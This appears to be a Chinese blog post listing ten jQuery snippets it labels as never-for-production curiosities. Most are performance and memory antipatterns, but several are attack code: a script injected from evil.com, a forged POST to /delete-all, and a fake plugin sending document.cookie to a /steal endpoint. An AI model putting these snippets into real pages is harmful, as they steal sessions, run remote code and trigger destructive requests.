邪修 jQuery ,10 段“千萬(wàn)別上生產(chǎn)”的黑魔法代碼
——僅供技術(shù)獵奇,切勿真用!
?? 每條都可能:性能崩、內(nèi)存漏、SEO 死、維護(hù)成本 ∞
面試炫技 OK,項(xiàng)目敢用就等死!
1?? 一行全站旋轉(zhuǎn)木馬
$('html').append('<style>html{animation:spin 10s linear infinite}@keyframes spin{to{transform:rotate(360deg)}}</style>');
整個(gè)頁(yè)面像陀螺,用戶 3 秒暈厥。
2?? 無(wú)限事件監(jiān)聽(tīng)器
for (let i = 0; i < 1e6; i++) $(window).on('resize', () => {});
百萬(wàn)監(jiān)聽(tīng)器,Chrome 直接卡爆。
3?? 動(dòng)態(tài)創(chuàng)建木馬腳本
$('body').append(`<script src="https://evil.com/x.js"></script>`);
運(yùn)行時(shí)插外鏈,CSP 形同虛設(shè)。
4?? 隱式全局變量泄漏
$('input').each(function(){ evilVar = $(this).val(); });
未聲明變量污染
window
,調(diào)試器原地迷路。
5?? 鏈?zhǔn)降鬲z + 隱式回調(diào)
$('#btn').click(() => $('#btn').click(() => $('#btn').click(...)));
無(wú)限套娃回調(diào),棧溢出分分鐘。
6?? 偽造表單提交
$('<form method="post" action="/delete-all"><input name="confirm" value="1"></form>').submit();
無(wú)用戶交互直接 POST,CSRF 一鍵觸發(fā)。
7?? 隱藏元素占滿內(nèi)存
setInterval(() => $('body').append('<div style="display:none">??</div>'), 1);
DOM 節(jié)點(diǎn)秒級(jí)增長(zhǎng),內(nèi)存泄漏到爆炸。
8?? 正則回溯炸彈
/^(a+)+$/.test('a'.repeat(30)); // 指數(shù)級(jí)回溯
30 個(gè)
a
讓 Chrome 直接卡死(ReDoS)。
9?? 動(dòng)態(tài)樣式無(wú)限循環(huán)
setInterval(() => $('body').css('filter', 'hue-rotate(' + Math.random() * 360 + 'deg)'), 16);
16 ms 一幀,GPU 100%,風(fēng)扇起飛。
?? 利用 $.fn
擴(kuò)展木馬
$.fn.evil = function () {
$.get('/steal?cookie=' + encodeURIComponent(document.cookie));
return this;
};
$('body').evil();
偽裝成 jQuery 插件,一鍵竊取 Cookie。
邪修口訣
“鏈?zhǔn)疆?dāng)迷宮,事件當(dāng)炸彈;
DOM 當(dāng)黑洞,性能當(dāng)煙花?!?/p>
PS
想要正經(jīng)學(xué)習(xí) jQuery ,從編程獅的《jQuery 入門(mén)課程》開(kāi)始!